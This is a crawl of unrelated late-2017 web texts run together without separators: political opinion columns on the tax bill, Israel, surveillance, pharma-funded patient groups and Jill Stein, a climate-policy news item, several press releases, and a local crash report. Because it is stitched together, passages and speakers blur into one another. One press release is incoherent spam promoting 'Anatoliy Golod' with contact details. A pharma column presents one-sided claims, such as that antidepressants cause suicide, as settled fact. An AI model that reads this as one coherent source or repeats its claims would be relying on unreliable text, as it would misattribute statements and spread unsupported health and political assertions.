The Republican establishment has no interest in Trumps success on this, Bannon complained after he left the White House in August. Theyll do a very standard Republican version of taxes.

It isnt easy to make a tax cut unpopular. But Trump and Republican leaders in Congress have managed a feat of negative alchemy: Theyve turned a bill that should have been political gold into lead. Polls have found that fewer than one-third of voters, on average, think this tax bill is a good idea. Thats less popular than Obamacare was when it passed in 2010.

The reason its unpopular? Most voters think the bill is so tilted in favor of corporations and the wealthy that theres nothing left over for them. And theyre right.
As I said at the beginning of Part 1 of this series, as is widely known, President Trump recently declared that the United States recognizes Jerusalem as the capitol of the State of Israel and that he intends to move the U.S. Embassy there as soon as it is feasible to do so. The move is weighed down in symbolism. Among other things, it indicates that the U.S. has in reality given up trying to be an "honest broker" in the never-ending, on-again/off-again talks between the Israeli government and the Palestinians. Of course, it has always been known that the U.S. has never been a diplomatically fully neutral party. But the appearances of that status that successive U.S. governments have tried to maintain, even while providing much maintenance for the Israeli Defense Force, will now largely be a thing of the past. Which is just fine with Trump's soul-mate, Bibi Netanyahu, his party Likud, and the small ultra-"religious" right-wing parties on which Likud is dependent for staying in power. Why?

In the most recent Israeli election (2015), Netanyahu came from behind , in Israeli terms from way behind , to win another term as Prime Minister. How did he do this? By being honest. Although he has in the past said that he was in favor of the "Two-State Solution," "in principle," as is again well-known, at the end of the election campaign, he said that as long as he is Prime Minister there will be no Palestinian state, on any terms. While this clearly has been his position for quite some time, this was the first time he said it in public. Then, again as is well-known, he came out with his racist statements regarding Arab-Israeli citizen voters and voting. This had all been proceeded in the final two weeks leading up to the election by a massive scare campaign, about "the Palestinians" and about "Iranian nukes." In retrospect, how Trump-like.



Trump visits Israel, and can't keep his hands to himself.

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Although he had been running behind in the polls, these tactics obviously worked. In so doing, Netanyahu stitched together an electoral coalition that itself had been previously somewhat fragmented. But in this case, it now highlights the strains and internecine struggles over sharply competing differences on policy and needs that has underlain Israeli society for quite some time. Not taking into account the Arab-Israeli citizens, among Jewish Israelis there are now two clear rival groupings.

Netanyahu's base is made of up the Sephardim (mainly Jews who came from Arab lands after the State of Israel was established in 1948, distantly descended from the Jews who were expelled from Spain in 1492), the (largely secular) Russian Jews who arrived, starting in the 1970s as the Soviet Union opened up for emigration, the far-right-wing Settlers, who have many U.S. Jews among them, and the far-rightists among the Orthodox Jews. These form the basis of Netanyahu's coalition, lining up behind the main right-wing Israeli party, Likud. The opposing group, now represented by the "Zionist Union" (made up of the old Labor Party and the "left" wing of Netanyahu's party), consists primarily of what are known in Israel as the "WASPs." Yes, folks, only in Israel could you find Jewish Wasps: white, Ashkenazi, sabra (born in Israel), for peace.

Much was written about that election, the tactics Netanyahu used (including his controversial address to the U.S. Congress), what future relations between the U.S. and Israel would be for as long as Barack Obama was President, how Netanyahu might "walk back" some of his campaign statements and proposed policies, and etc. First, let us note that although it has been on the back-burner through a whole series of right-wing governments in Israel, the stirring words of the Israeli Declaration of Independence (Israel has no constitution) on what was to be the multi-cultural nature of the State have clearly been abandoned:

The State of Israel will be: open for Jewish immigration and for the Ingathering of the Exiles; it will foster the development of the country for the benefit of all its inhabitants; it will be based on freedom, justice and peace as envisaged by the prophets of Israel; it will ensure complete equality of social and political rights to all its inhabitants irrespective of religion, race or sex; it will guarantee freedom of religion, conscience, language, education and culture; it will safeguard the Holy Places of all religions; and, it will be faithful to the principles of the Charter of the United Nations.

But central to the understanding of what is going in Israel is understanding what are the class interests that are being represented there. In a very important column, Paul Krugman summed up what the current structure of Israeli society is. Straying far from its original roots with a major emphasis on Zionist socialism, Israel has become a nation that economically mimics the United States in many ways. There is an increasing disparity in income and wealth and its economy is increasingly dominated by a military-industrial complex. Ownership is so concentrated that, Krugman told us, "According to the Bank of Israel , roughly 20 families control companies that account for half the total value of Israel's stock market." As in the United States, income and wealth inequality, and a military-industrial complex, go together.

This is precisely why Netanyahu's party, Likud, and the Repubs. are so closely linked. So closely linked in fact that it was the then Israeli Ambassador to the U.S., one Ron Dermer, who arranged for Netanyahu's 2015 speech to the U.S. Congress, without consulting with the White House. That Mr. Dermer, a former (and perhaps still) U.S. citizen is also a former "Republican operative," should come as no surprise. And as I, along with many others, have pointed out previously, one of the primary interests of the Repubs . is the maintenance of the military-industrial complex . And so, among other things, in both countries we have the focus of the Rightists on the big, bad Persian (Iranian) leopard (the national animal of Iran ).

(Apparently some folks regard the Persian cat as the national animal of Iran, but as a long-time cat staffer who once had a half-Persian puss, they are not really very scary. "Cat staffer," you might ask? Well yes. You know the difference between dogs and cats, don't you? Dogs have owners; cats have staff. And believe it or not, just as I was writing this, my beautiful Tabby, Vladimir Ilyich Lenin, "Lenny" for short, came walking into my study looking for a pat from his staff. By the way, Lenin himself was a great cat-lover.)

And so, this is where Trump comes in. He has sealed the Likud-Republican deal. And in the process, he has sealed the doom of whatever had been left of the peace process. Netanyahu never wanted it (see Part 1 of this series). And the Trumpite Repubs. have made sure that he is never going to have to worry about it, for at least as long as Trump (and surely the Dominionist Pence, should he succeed to the Presidency by one route or another) remains in power.

---------------------------------------------------------------------------------------------

Note: This column is based in part upon one that previously appeared at:

http://www.greanvillepost.com/2015/03/19/likud-the-repubs-and-their-respective-class-interests/

, and at:

http://www.planetarymovement.org/index.php?option=com_content&task=view&id=942&Itemid=58
The Christmas narrative of a baby born in a manger is a familiar one.

The Roman Empire, a police state in its own right, had ordered that a census be conducted. Joseph and his pregnant wife Mary traveled to the little town of Bethlehem so that they could be counted. There being no room for the couple at any of the inns, they stayed in a stable, where Mary gave birth to a baby boy, Jesus.

Unfortunately, Jesus was born into a police state not unlike the growing menace of the American police state. And when he grew up, Jesus did not shy away from speaking truth to power. Indeed, his teachings undermined the political and religious establishment of his day. He was eventually crucified as a warning to others not to challenge the powers-that-be.

Yet what if, instead of being born into the Roman police state, Jesus had been born and raised in the American police state?

Rather than traveling to Bethlehem for a census, Jesus' parents would have been mailed a 28-page American Community Survey, a mandatory government questionnaire documenting their habits, household inhabitants, work schedule, etc.

Instead of being born in a manger, Jesus might have been born at home. Rather than wise men and shepherds bringing gifts, however, the baby's parents might have been forced to ward off visits from state social workers intent on prosecuting them for the home birth. One couple in Washington had all three of their children removed after social services objected to the two youngest being birthed in an unassisted home delivery.

Had Jesus' parents been undocumented immigrants, they and the newborn baby might have been shuffled to a profit-driven, private prison for illegals where they would have been turned into cheap, forced laborers for corporations such as Starbucks, Microsoft, Walmart, and Victoria's Secret.

From the time he was old enough to attend school, Jesus would have been drilled in lessons of compliance and obedience to government authorities, while learning little about his own rights. Had he dared to step out of line while in school, he might have found himself tasered or beaten by a school resource officer, or at the very least suspended under a school zero-tolerance policy that punishes minor infractions as harshly as more serious offenses.

Had Jesus disappeared for a few hours let alone days as a 12-year-old, his parents would have been handcuffed, arrested and jailed for parental negligence.

From the moment Jesus made contact with an "extremist" such as John the Baptist, he would have been flagged for surveillance because of his association with a prominent activist, peaceful or otherwise. Since 9/11, the FBI has actively carried out surveillance and intelligence-gathering operations on a broad range of activist groups.

Jesus' anti-government views would certainly have resulted in him being labeled a domestic extremist. Law-enforcement agencies are being trained to recognize signs of anti-government extremism during interactions with potential extremists who share a "belief in the approaching collapse of government and the economy."

While traveling from community to community, Jesus might have been reported to government officials as "suspicious" under the Department of Homeland Security's "See Something, Say Something" programs.

Rather than being permitted to live as an itinerant preacher, Jesus might have found himself threatened with arrest for daring to live off the grid or sleeping outside. In fact, the number of cities that have resorted to criminalizing homelessness by enacting bans on camping, sleeping in vehicles, loitering and begging in public has doubled.

Viewed by the government as a dissident and potential threat to its power, Jesus might have had government spies planted among his followers to monitor his activities, report on his movements, and entrap him into breaking the law. Such Judases today--called informants--often receive hefty paychecks from the government for their treachery.

Had Jesus used the internet to spread his radical message of peace and love, he might have found his blog posts infiltrated by government spies attempting to undermine his integrity, discredit him or plant incriminating information online about him. At the very least, he would have had his website hacked and his email monitored.

Had Jesus attempted to feed large crowds of people, he would have been threatened with arrest for violating various ordinances prohibiting the distribution of food without a permit. Florida officials arrested a 90-year-old man for feeding the homeless on a public beach.

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Do you overeat? Did your boyfriend just break up with you? Does no one return your emails? Do you fall asleep at night and wake up in the morning? If so, you may be suffering from mental illness! A highly stigmatized, life-long condition that only a pharmaceutical drug can fix! But luckily there are advocacy groups like Glenn Close's Bring Change to Mind and the Pharma-funded front groups, the American Foundation for Suicide Prevention (AFSP) and the National Alliance on Mental Illness (NAMI) to help you.

"Stigma" is the best thing that ever happened to Pharma. It has aggregated and co-opted patients into lobbying groups for high-priced, psychiatric drugs that they often stay on for decades or life. While the groups say they fight the "stigma" of mental illness, they actually spend their time fighting lawmakers and insurers, at the behest of Pharma, for payment of high-priced drugs. "When insurers balk at reimbursing patients for new prescription medications," says the Los Angeles Times, these groups "typically swing into action, rallying sufferers to appear before public and consumer panels [and] contact lawmakers."

The patient front groups include the Depression and Bipolar Support Alliance, which gets half its funding from Pharma according to the Los Angeles Times and NAMI, which received $23 million in just two years from Pharma, according to the Wall Street Journal. In the 1990's, Eli Lilly was NAMI's biggest donor, reported Mother Jones. A woman I interviewed who wants to remain anonymous for medical privacy says she was told by the Chicago NAMI they could not help her with a borderline condition because there was no "drug" for it. So much for helping patients.

In 2014, NAMI was successful in defeating a White House proposal to limit Medicare coverage of Wellbutrin, Paxil, Prozac, Abilify, Seroquel and other expensive drug classes. "The proposal undermines a key protection for some of the sickest, most vulnerable Medicare beneficiaries," said Andrew Sperling, a tear-jerking NAMI lobbyist using the image of elderly victims to give Pharma billions of our taxpayer dollars.

Now comes a high-budget "PSA" campaign from Glenn Close's Bring Change to Mind fighting the "stigma" of eating disorders, anxiety and other "mental illnesses." If Close's high budget, slick commercials selling the idea that everyone, everywhere is "mentally ill" and a candidate for Pharma drugs are public service announcements why deny Exxon and Monsanto PSAs?

Despite the efforts of NAMI, AFSP and Glenn Close's group all of which have brought the use of antidepressants to an all time high, the suicide rate in the United States is rising. Why could that be? Suicide has risen to 38,000 a year, says USA Today, after falling in the 1990s despite almost a quarter of the population in some age groups taking antidepressants and use of some psychiatric drugs growing by 700 percent in the military. Shouldn't suicides be going down?

The truth is the Wall Street pleasing drugs which many people stay on for decades, or life, are often ineffectual and sometimes cause the very problems they are supposed to alleviate like suicide.

No, Glenn Close, stigma doesn't "suck"----convincing perfectly normal people they are "mentally ill" to enrich Pharma sucks.

(Article changed on December 18, 2017 at 20:44)

(Article changed on December 18, 2017 at 20:47)

(Article changed on December 18, 2017 at 20:50)
I've known Jill Stein for years. I knew weeks ago that the Senate "Intelligence" Committee was coming after her. I set up this petition to put reasonable limits on Russiagate. But I've not heard from Jill, nor had any secret communication from my good friend Vladimir, nor any such nonsense. I criticize the Russian and U.S. governments as they deserve it. Nearly three years ago, Russia tried to secretly hire me to spread its propaganda, and I said no and blogged about it. Although this happened right on Capitol Hill, no Congressional Committee gave a rat's rear about it. It wasn't part of their agenda. When I go on Russian media I say the same thing as on U.S. media, though sometimes with a particular focus on criticizing Russia -- a nation I've never been paid a dime by or worked for as a volunteer.

Why is the U.S. Congress going after Jill Stein? Because no law-enforcement agency could do so, since no probable cause exists to believe she has committed any crime. Neither is there probable cause to believe she engaged in the non-criminal action of shaping her policy platform based on anything she learned from anyone Russian. She went to a Russian media event, something I've always refused to do because of people's fear of just this sort of witch hunt. But she paid her own way. She didn't take a dime from the Russian government. She didn't even demand that the Russian government help block a UN resolution on illegal Israeli settlements, as President-elect Donald Trump's campaign did in order to undermine the position of the U.S. President -- something the U.S. Congress seems unconcerned by. Nor did she cut any sort of deal with the Russian government whatsoever. She just attended a public event with a bunch of people who didn't even speak the same language as each other.

Jill Stein ran the same sort of campaign with the same sort of platform that she had run in previous years, and that other Green Party candidates had run in years prior. She didn't oppose bombing various countries or subsidizing fossil fuels or leaving people without health coverage because someone in Russia asked her to. She'd had the same positions for years. She didn't oppose lesser evilism and believe the wisest electoral path to consist of running a better platform and voting your conscience because Putin gave her the idea. She's thought that way for years.

The reason Jill Stein matters to Russiagate is that it has gone on for a year without finding any solid way to blame Hillary Clinton's campaign on Donald Trump. The original goal had been to distract the media from the Democrats' rigging of their primary, and to claim that Russia had stolen and leaked documents to WikiLeaks. Those documents should have been public, as they revealed major abuses of the U.S. electoral system. But there's no evidence they decided the election, and -- even after a year of digging -- no evidence that Russia leaked them. And at this point, there's not much chance such evidence will ever be found. So, what's needed is a change of subject, a new way in which Russia -- not Hillary! -- is to blame for a U.S. electoral system corrupt in dozens of ways from the start and contentedly staying that way.

Lesser-evilists who blame "spoilers" would be all too happy to add "Russian collusion" to the rap sheet for Jill Stein, if only to finally justify having taught their kids the word "collusion." But the idea is patently absurd, and zero evidence exists. However, Congress can harass anyone it chooses. Probably cause is not required.

The reason Jill Stein should matter, and what we should be telling the millions of people who will now hear of her for the first time, is that she entered the U.S. presidential race with a decent and humane policy platform, by no means perfect, but light years ahead of those of the two least popular duopolistic political parties since the invention of polling. In a system with open debates and ballot access and a ban on bribery, fair funding and air time, automatic registration, verifiable counting, election-day holiday, ranked-choice voting, etc., etc., a candidate with a decent platform could run and win. Jill Stein ran in part, I think, so that people would simply hear about such a platform. Hers was a platform dramatically superior to that even of Senator Bernie Sanders.

If you think free college is popular, you should see what young people think of free college and erasing all existing student debt.

If single-payer healthcare with raised taxes (but net savings, if you make it to that fine print) excites voters, how do you think they'd respond to single-payer healthcare with no raised taxes?

If fewer wars and asking Saudi Arabia to do more of the funding and fighting sounds promising, what would you say to no more wars, a 50 percent cut in the $1 trillion/year military spending, no more weapons sales to Saudi Arabia which is doing more than enough killing, thank you, no more free weapons for Israel either, and investment of some of the savings in a massive green energy jobs campaign producing a sustainable energy policy and a full-employment economy?

Senator Bernie Sanders' domestic proposals got millions excited, but the (unfair and misleading) criticism that he would raise taxes may have been a tragic flaw, and it's one he opened himself up to by refusing to say that he'd cut the military. Stein proposed to cut at least half of the single biggest item in the discretionary budget, an item that takes up at least half of that budget: military spending. She'd have cut fossil fuel subsidies, as well, and expected savings to come from healthcare, including as a result of cutting pollution and improving food quality. But the big immediate item was the military. Cutting it is popular with voters, but not with Democratic or Republican presidential candidates. Sanders was labeled the Tax Man by the corporate media, while Jill Stein would have had to be attacked in a different way if she ever got mentioned.

"Cutting the military budget is something that we can do right now," Stein told me back during the campaign, "but we want to be clear that we are putting an end to wars for oil -- period. And that is part of our core policy of a Green New Deal which creates an emergency program, establishing twenty million living wage jobs, full-time jobs, to green the economy, our energy, food, and transportation systems, building critical infrastructure, restoring ecosystems, etc. This is an emergency program that will get to 100 percent renewable energy by 2030. So this is a war-time-level mobilization in order to completely detoxify our energy system, and that means both nuclear and fossil fuel. In doing that, we deprive the empire of this major justification for wars and bases all around the world. So we want to be clear that that emphasis is gone, and goading the American public into war so as to feed our fossil fuel energy system -- that ends and makes all the more essential and possible the major cutting of the military budget."

Which 50 percent of the military would Stein cut? Two places she named that she would start with (there would have to be much more) are foreign bases (she'd close them) and the U.S. nuclear weapons program.

Would she unilaterally scrap U.S. nukes? I asked.

"We don't even need to do it unilaterally," Stein said, "because the Russians have been begging to revive the process of nuclear disarmament, which the U.S., in its wisdom, undercut. " The Russians have been persistently trying to restore those nuclear talks for the purpose of disarmament. And that would be step one -- is to make major reductions between the U.S. and Russia and then to convene a world forum to put an end to nuclear weapons altogether."

Those Russian positions were public, not secret.

The "war on terror," Stein pointed out, has only created more terror, while costing each U.S. household $75,000. "That's not going to make people terribly enthusiastic for it, particularly when you point out that all this has done is create failed states, worse terrorist threat, whether you look at the Taliban, the globalization of al-Qaeda, the creation of ISIS. This has been an utter, unmitigated disaster, and the massive refugee crisis which is threatening to tear apart the European Union. This is absolutely unsustainable by any count."

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See original here

By Lorraine Chow

President Donald Trump's new national security strategy will reverse an Obama-era declaration that placed climate change as a major threat facing the nation.

Trump's "America First" plan will instead focus on four themes surrounding economic security for the U.S: "protecting the homeland and way of life; promoting American prosperity; demonstrating peace through strength; and advancing American influence in an ever-competitive world," the Associated Press reported, quoting senior administration officials.

"Climate change is not identified as a national security threat but climate and the importance of the environment and environmental stewardship are discussed," a senior administration official explained to the Guardian.

The move reflects the Trump administration's stance -- and downright indifference -- towards global warming. In June, the president announced his intention to withdraw the U.S. from the landmark Paris climate agreement.

Another official explained to the Guardian that Trump's remarks about exiting the Paris agreement "would be the guidepost for the language in the [national security strategy] on climate."

Trump had said that June: "I was elected to represent the citizens of Pittsburgh, not Paris," and claimed the Paris accord "hamstrings the United States while empowering some of the world's top polluting countries."

According to the Federalist, which first obtained a draft document of the national security strategy, the Trump administration would actively oppose efforts to reduce the burning of fossil fuels for energy.

"U.S. leadership is indispensable to countering an anti-growth, energy agenda that is detrimental to U.S. economic and energy security interests," the document stated, per the Federalist.

"Given future global energy demand, much of the developing world will require fossil fuels, as well as other forms of energy, to power their economies and lift their people out of poverty."

As the Federalist pointed out, the move to nix climate change from the list of national security threats "matches President Trump's vision, sometimes shared using his trademark hyperbole, that the United States needs to emphasize national security and economic growth over climate change."

For instance, check out Trump's tweet from 2013 below:

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Adult Vaccines Market - Global Industry Insights, Trends, Outlook, and Analysis Forecast from 2017 to 2025

https://www.coherentmarketinsights.com/insight/request-sample/1091

https://www.coherentmarketinsights.com/insight/request-customization/1091

https://www.coherentmarketinsights.com/ongoing-insight/adult-vaccines-market-1091

http://www.coherentnews.com

Vaccination is one of the most effective and safest therapy that protects from diseases and reduces the prevalence of infectious diseases. There are rare side effects associated with vaccinations. Most of the vaccines are recommended on the basis of persons age, lifestyle, travel destinations, and health conditions such as diabetes, heart diseases, asthma, and chronic obstructive pulmonary disease (COPD). According to Centers for Disease Control and Prevention (CDC), in 2013, around 226,000 people are hospitalized every year and between 3,000 and 49,000 people die due to influenza and its complications, with major population of adults. Moreover, around 900,000 people are infected by pneumococcal pneumonia every year, among which, around 400,000 people get hospitalized and 19,000 people die, and around one million cases of shingles occur annually. CDC estimated that financial burden of adult vaccine preventable diseases (VPD) in the U.S. at around US$ 10 billion annually. However, CDC recommends that adult must be vaccinated against various infections such as influenza, pertussis (whooping cough), chickenpox, diphtheria, measles, hepatitis A and B, meningococcal disease (meningitis), human papillomavirus, mumps, pneumococcal disease (pneumonia), rubella, shingles, and tetanus.Request Sample Copy Of This Report:Global Adult Vaccines Market TaxonomyBy Types of Vaccines  Monovalent,Multivalent,.By Technology  Live Attenuated Vaccines,Inactivated Viral Or Bacterial Vaccines,Toxoid Vaccines,Recombinant Vaccines,Conjugate Vaccines,.Route of Administration  Subcutaneous (SC),Intramuscular (IM),Others,.Initiatives by state authorities against viral and bacterial infections and innovation of novel vaccines is expected to fuel growth of the marketIn August 2017, GlaxoSmithKline and Ali health promoted HPV/Cervarix  which is a part of online shopping program named Taobao. It offer many features, which include pediatric and adult vaccine information and links of 1500 health clinics for consultations and appointments in China. This in turn, is expected to fuel growth of the adult vaccine market in the near future. Moreover, Dallas County Health and Human Services (DCHHS), in August 2017, is offering seasonal flu vaccine for adults. It provides all-in-one shot vaccine for multiple flu strains, including H1N1, after recommended by CDC for flu prevention. Thus, various initiatives by the health authority reduces flu impact in the U.S., which in turn, is expected to fuel growth of the adult vaccines market.Request Customization:In 2016, Protein Science Corporation announced 2016/17 formulation of Flubok influenza vaccine approved by FDA for 18 years and above.According to Public Health England (PHE), in September 2017, it was reported that vaccine shot given for influenza were ineffective in patients over 65 years of age, as it was inactivated form of vaccine. However, nasal influenza vaccine reduced risk of influenza in children. PHS suggest the development of new vaccines, which may provide better protection from infections in geriatric population. Thus, it provides an opportunity to key players operating in adult vaccine market to develop effective vaccines for geriatric population.In 2017, World Health organization (WHO) published a list of candidate vaccines in development for seven pathogen areas such as HIV, malaria, tuberculosis, Shigella, Respiratory Syncytial Virus (RSV), Enterotoxigenic E. Coli (ETEC), and Norovirus. Development of new vaccines against range of severe infections, is expected to propel growth of the adult vaccine in the near future.Increasing prevalence of viral or bacterial communicable and non-communicable infections in adults, fuels growth of the adult vaccine marketAccording to the Immunization Action Coalition (IAC), which is a member of the WHO-led project Vaccine Safety Net (VSN), an incidences took place, followed in 2017, around 166,000 cases of flu were reported in the U.S. and around 71 people died in September 2017. Moreover, in 2016, around 91,000 people were impacted from flu in last five years. Moreover, in Canada, Vancouver Coastal Health issued a warning to teens and young adults against mumps in 2017. As per IAC, February to August 2017 approximately 80 cases of mumps were reported. According to World Health Organization (WHO), in 2016, pregnant women and elder individual, aged 65 years and above, and health workers are always at higher risk of infections. Moreover, according to CDC, people traveling for vacations every year for business and volunteerism have higher risk for development of infections. Vaccination is made compulsory for travelers by state and local health departments, which in turn, is expected to fuel growth of the adult vaccines market.Key players operating in the global adult vaccines market include GlaxoSmithKline, plc, Panacea Biotec, Pfizer, Inc., Protein Sciences Corporation, Merck & Co., Inc., Daiichi Sankyo, Sanofi Pasteur SA, Mitsubishi Tanabe Pharma Corporation, Astellas Pharma Inc., Bavarian Nordic, CSL Limited, Serum Institute of India Pvt. Ltd., ), Emergent BioSolutions, Inc., MedImmune, LLC, and Johnson & Johnson.To know more about the Adult Vaccines Market, click the link below:About Coherent Market Insights:Coherent Market Insights is a prominent market research and consulting firm offering action-ready syndicated research reports, custom market analysis, consulting services, and competitive analysis through various recommendations related to emerging market trends, technologies, and potential absolute dollar opportunity.Contact Us:Mr. ShahCoherent Market Insights1001 4th Ave,#3200Seattle, WA 98154Tel: +1-206-701-6702Email: sales@coherentmarketinsights.comVisit our news Website:
Vladimir Putin, Donald Trump, Anatoliy Golod can Meet to do World Good!

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When people read the news how GUIDES (General director in GUIDES: Anatoliy Golod) from Russia helped to Donald Trump on elections, people like original version: Donald Trump have got new father, who has arranged the son on prestigious work: President in USA. Maybe Donald Trump will meet Anatoliy Golod to do more good results for good relations in the world.People think that Presidents have much information, but you should know, that few advisors (or their department's members who give them information) can strategically do order from different structures. So, it is necessary to give information so, that really make defense, really prevent conflicts, really do good relations in society. So, if you can, please give this message to Donald Trump also, we have to talk, we can improve world politics. *You know, that the structures, which organize conflicts pay to few departments directors in few official organizations. The conflicts are the guilt of the agents who impede to give the momentous information, because they impede to discuss information, which can help to prevent conflicts. So, if their agents will impede to give the message, everybody obviously can find good journalists, good agents in official organizations etc., everybody can say, that you can give the message, to meet, to discuss the information more for good results. We have to write it, because conflict structures usually like to impede real work, their departments are lobbying conflicts to Trump, to many politicians, they want to expose that guilt are good structures who help to prevent conflicts. So, everybody can be active to help to give the information, we can really to meet, to help to prevent conflicts, to do good work for good relations in the world.You can read more about this news:"Vladimir Putin, Donald Trump, Anatoliy Golod Can Meet To Make Good World!""Crimea was in Russia, came back to Russia".prbuzz.com/politics-a-public-affairs/410697"Real God Almighty plus Central Intelligence Universe Agency improve the world"prbuzz.com/politics-a-public-affairs/409711-real-god-almighty-plus-central-intelligence-universe-agency-improve-the-world.html"Russia, Ukraine are Going to Make Good Relations. Doing Repost, You can Help!"pressreleasepost.com/russia-ukraine-are-going-to-make-good-relations-doing-repost-you-can-help"Vladimir Putin, Donald Trump, Anatoliy Golod Are Going To Produce Good World"prworld.org/content/vladimir-putin-donald-trump-anatoliy-golod-are-going-produce-good-world"Father from Russia has helped to Donald Trump! Really good sensation".prsync.com/general-universal-information-defense-excellent-se/father-from-russia-has-helped-to-donald-trump-really-good-sensation-1639759/"To Improve Economics! Central Intelligence Universe Agency. Guides, Cyber Bios"prlog.org/12614378-to-improve-economics-central-intelligence-universe-agency-guides-cyber-bios.htmlYou can read super news:good communications (Additional super data on Russian language: docs.google.com/document/d/1BE8BVZ69MNFZm2YjwHKRsbaeKxnaNG481tR-ZevAZts/pub )GUIDES contacts:+7(495)7604918; +7(985)7604918; +7(965)3188546, +7(903)1621034, +7(926)4107084.Web page in social media:; vk.com/id16741608 ; twitter.com/AnatoliyGolod ; Email: anatoliygolod@mail.ru ; anatoliygolod@superdobro.com*All symbols, all numbers can help to make good connections, good communications for good relations, for good results, for to solve casual problems, to improve situations. It is momentous to make good connection, the communications must always work good. You also can call to the communication operator to improve connection.GUIDES (Anatoliy Golod: General Director in GUIDES: General Universal Information Defense Excellent Service) creates the good action to help to do good ways to do good world. You can call to GUIDES for many great good news.For More Information Contact:Anatoliy GolodGUIDESKirpichnaya, 43Moscow, Russian Federation, 105187+74957604918anatoliygolod@mail.ru
Oregon State University Awarded $22,495 Grant to Implement Campus Safety App for Their Campus

https://oregonstate.edu/

Campus Consortium, the largest global education association of schools, colleges and universities awards Oregon State University a $22,495 Grant to implement a mobile app for students and faculty. Located in Corvallis, Oregon, Oregon State University, with 11 colleges, 15 Agricultural Experiment Stations, 35 county Extension offices, the Hatfield Marine Science Center in Newport and OSU-Cascades in Bend, Oregon State has a presence in every one of Oregons 36 counties."While we did have some emergency management applications that our community could utilize, we had yet to institute a safety application for our students and staff. This opportunity to apply and compete for this grant was incredibly timely and we are glad we were chosen over hundreds of applications. Having a safety app that would give a one button push to Public Safety, as well as tracking abilities to assist our community in feeling safer is what this grant and app would help us provide, said Director of Public Safety, Suzanne Tannenbaum at Oregon State University.The Campus Consortium Grant will enable Oregon State University to further improve the safety and security on campus. The Campus Safety App brings this functionality to your smartphone for an added sense of security both on and off campus. The application uses Wi-Fi or cellular data to provide your location data when you make an emergency call with the app. This gives far more accurate information about where you are, and therefore provides first responders with a better idea of where they need to go. Students can additionally redo the application to send alerts to their folks, gatekeepers or companions if there arises an occurrence of a crisis.We are happy to award Oregon State University with the Campus Safety Grant. The app is bound to make campus life much safer, which is essential for any institution to ensure student and faculty wellbeing, states Anjli Jain, Chairman of the Campus Consortium. "We congratulate them on receiving the Campus Consortium Grant.To learn about and apply for a Campus Consortium Grant, please visit campusconsortium.org/grant-programsAbout Oregon State University:As one of only two universities in the nation designated as a land, sea, space and sun grant, Oregon State serves Oregon and the world by working on todays most pressing issues. Our more than 31,000 students come from across the globe, and our programs operate in every Oregon county. Oregon State receives more research funding than all of the states comprehensive public universities combined. At our campuses in Corvallis and Bend, marine research center in Newport and award-winning Ecampus, we excel at shaping todays students into tomorrows leaders. For more information, please visitCampus Consortium is a leading education association with more than 37,000 higher education institutions and K-12 school district members. The Campus Consortium's mission is to help members reduce the time, cost and effort associated with implementing enterprise IT services by leveraging shared IT services, lessons learned and best practices so that each member can avoid reinventing the wheel. For more information, please visit Campus Consortium or contact Marketing Desk125 South Clark Street,17th Floor
TONS OF TOYS DELIVERED TO PEDIATRIC CANCER PATIENTS AT ST. JOSEPH HOSPITALS CENTER FOR CANCER PREVENTION AND TREATMENT

ORANGE, Calif., (December 18, 2017)  To bring holiday joy to kids receiving treatment for cancer at St. Joseph Hospitals Center for Cancer Prevention and Treatment Center throughout the year, boxes full of toys were delivered to the center on Friday, Dec. 15th by approximately 25 representatives from Milan Capital Management, who donned elf and Santa costumes to make the delivery. The more than 500 toys were collected during a recent toy drive held by the commercial real estate investment company at their various offices to bring a little faith and happiness this year to pediatric cancer patients.As part of our ongoing efforts to support the communities in which we own property, Milan Capital Management has committed resources to a number of worthy causes in southern California, said Christopher Nichelson, President of Milan Capital Management, Inc. But none has been more meaningful for us than our efforts to bring a happy holiday to the children receiving care at the Center for Cancer Prevention and Treatment at St. Joseph Hospital.In addition to patients and their families who were in attendance, representatives receiving the donation on behalf of St. Joseph Hospital included Tom Hill, Vice President of Operations, Kelly Logan, Manager, Corporate Donor Relations, Sarah Jacoby, Director of Development, Donn Grizzle, VP, Advocacy and Strategic Initiatives, Credit Union of Southern California and SJO Foundation Board Member, Myriam Garcia, Manager Radiation Oncology and pediatric radiation oncologist, Dr. Venita Williams.Our Childrens Toy Chest brings a lot of light to what can feel like a dark situation for many of these kids and their families, said Dr. Venita Williams. Were so grateful to the Milan team for their support of the kids in our community; these toys will bring a many wide smiles to courageous faces.At least 60 children receive radiation cancer treatment at St. Joseph Hospital every year. The toy drive will restock the shelves in the cancer center to help give the children holiday cheer this season and beyond.For more information about how you can support the hospital, the St. Joseph Hospital Foundation can also be contacted at 714-347-7900 or foundation@stjoe.org.###About St. Joseph HospitalFounded in 1929, St. Joseph Hospital in Orange, California is a nationally recognized, 463-bed, not-for-profit Catholic hospital dedicated to extending the healing ministry of Jesus in the tradition of the Sisters of St. Joseph of Orange. Fully accredited by The Joint Commission and designated as a Magnet hospital for nursing excellence, St. Joseph Hospitals reputation for clinical excellence and compassionate, family-centered care draws patients from all over the United States. This is one reason why St. Joseph Hospital was named one of the top hospitals in the Los Angeles/Orange County area by U.S. News & World Report. With a highly recognized 1,000-member medical staff and more than 3,100 support staff, St. Joseph Hospital is home to more than 75 specialty programs, including The Center for Cancer Prevention and Treatment, the Heart and Vascular Center and a nationally acclaimed Orthopedics program that has been ranked among the top 50 in the nation by U.S.News & World Report. Equally important is St. Joseph Hospitals dedication to caring for the medically underserved through health education programs, a free-standing medical and dental clinic, and mobile health vans. St. Joseph Hospital depends on philanthropic support from the community to carry out its mission. These efforts are coordinated through the St. Joseph Hospital Foundation. St. Joseph Hospital is a member of the Irvine-based St. Joseph Hoag Health alliance, an integrated health network of seven hospitals, 26 urgent care centers and an array of programs and services throughout Orange County and the High Desert.3532 Katella Avenue, Suite 110
A two-vehicle accident happened at about 5:50 p.m. Dec. 18 on Hwy. FF just west of Sosinsky Road in the town of Hillsboro.

A vehicle driven by Peter Major, 41, of Richmond, Australia, was traveling east in the westbound lane when he collided with Mathew Wolf, 18, of Hillsboro, who was traveling west in the westbound lane, according to the Vernon County Sheriff's Office. There were no apparent injuries.
Asia-Pacific Sleeping Aids Market Analysis, Size, Growth and Demand, 2022

https://www.psmarketresearch.com/market-analysis/asia-pacific-sleeping-aids-market

https://www.psmarketresearch.com/market-analysis/asia-pacific-sleeping-aids-market/report-sample

